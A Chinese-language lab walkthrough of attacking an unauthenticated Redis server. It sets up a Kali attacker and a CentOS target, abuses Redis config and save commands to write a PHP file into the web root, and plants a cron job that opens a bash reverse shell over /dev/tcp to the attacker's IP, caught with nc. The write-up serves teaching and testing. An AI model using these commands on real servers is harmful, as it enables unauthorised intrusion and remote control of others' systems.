Redi未授权访问的两种利用方式

前言：redis默认情况下，会绑定在0.0.0.0：6379,如果没有采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，这样将会将Redis服务暴露在公网上，如果在没有设置密码认证的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下，利用Redis自身提供的config命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器

0x00 环境配置

1. kali(攻击机)       IP:192.168.2.100
2. Centos 7.9(靶机)      IP:192.168.2.120

0x01 搭建服务

#将windows本机提前下载好的redis压缩包传输到 Centos 7.9家目录下
scp redis-5.0.3.tar.gz root@192.168.2.120:/root/

#Centos上操作
[root@M1key ~]#yum -y install tar        //安装tar命令用于解压文件
[root@M1key ~]# tar -zxf redis-5.0.3.tar.gz  //解压缩redis文件
[root@M1key ~]# cd redis-5.0.3
[root@M1key redis-5.0.3]# yum -y install centos-release-scl //安装软件集合包
[root@M1key redis-5.0.3]# yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++devtoolset-9-binutils  //安装gcc
[root@M1key redis-5.0.3]# scl enable devtoolset-9 bash  //临时修改gcc版本
[root@M1key redis-5.0.3]# gcc -v    //查看gcc版本
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/lto-wrapper
Target: x86_64-redhat-linux
Configured with: ../configure --enable-bootstrap --enable-languages=c,c++,fortran,lto --prefix=/opt/rh/devtoolset-9/root/usr --mandir=/opt/rh/devtoolset-9/root/usr/share/man --infodir=/opt/rh/devtoolset-9/root/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-shared --enable-threads=posix --enable-checking=release --enable-multilib --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-gcc-major-version-only --with-linker-hash-style=gnu --with-default-libstdcxx-abi=gcc4-compatible --enable-plugin --enable-initfini-array --with-isl=/builddir/build/BUILD/gcc-9.3.1-20200408/obj-x86_64-redhat-linux/isl-install --disable-libmpx --enable-gnu-indirect-function --with-tune=generic --with-arch_32=x86-64 --build=x86_64-redhat-linux
Thread model: posix
gcc version 9.3.1 20200408 (Red Hat 9.3.1-2) (GCC) 
[root@M1key redis-5.0.3]#make  //make编译，编译成功后会在src目录下生成两个可执行文件redis-server、redis-cli。

注意事项：gcc版本小于5.3编译的时候会报错

启动服务

[root@M1key redis-5.0.3]# cd src/
[root@M1key src]# ./redis-server 

尝试连接redis服务器

#kali操作机
root@kali:~# apt install redis-tools   //安装redis客户端
root@kali:~# redis-cli -h  192.168.2.120  //连接redis客户端，默认端口6379

可以看到会报错，因为redis默认开启哨兵模式，我们需要在开启redis服务的时候关闭哨兵模式。

[root@M1key src]# ./redis-server  --protected-mode no

再次连接就不会报错了

此时环境就准备好了，可以开始我们后续的步骤了。

0x02 写shell文件

tips:由于是上帝视角我们知道网站根目录在/var/www/html下。

192.168.2.120:6379> config set dir /var/www/html   #选网站根目录
OK
192.168.2.120:6379> config set dbfilename shell.php  #设定文件名
OK
192.168.2.120:6379> set x "\n\n<?php phpinfo();?>\n\n"  #设置文件内容
OK
192.168.2.120:6379> save     #保存
OK

tips:在写文件内容的时候，redis有可能会在开头或者末尾添加一些banner信息，所以在设置文件内容的时候我们要进行一个换行的操作。

访问我们上传的文件：

上传成功！

0x03 反弹shell

与写shell的原理一样，只不过我们这次写的文件在定时任务的目录下，设置时间触发一个定时任务，然后kali接收shell。Over~!

#kali操作机
192.168.2.120:6379> config set dir /var/spool/cron  # 选择定时任务的目录
OK
192.168.2.120:6379> config set dbfilename root     # 配置文件名称
OK
192.168.2.120:6379> set x "\n\n0-59 * * * * /bin/bash -i >&/dev/tcp/192.168.2.100/8888 0>&1\n\n"      # 配置文件内容
OK
192.168.2.120:6379> save
OK

# kali 另外开一个终端
root@kali:~# nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.2.100] from (UNKNOWN) [192.168.2.120] 43652
bash: no job control in this shell
[root@M1key ~]# 

成功接收shell。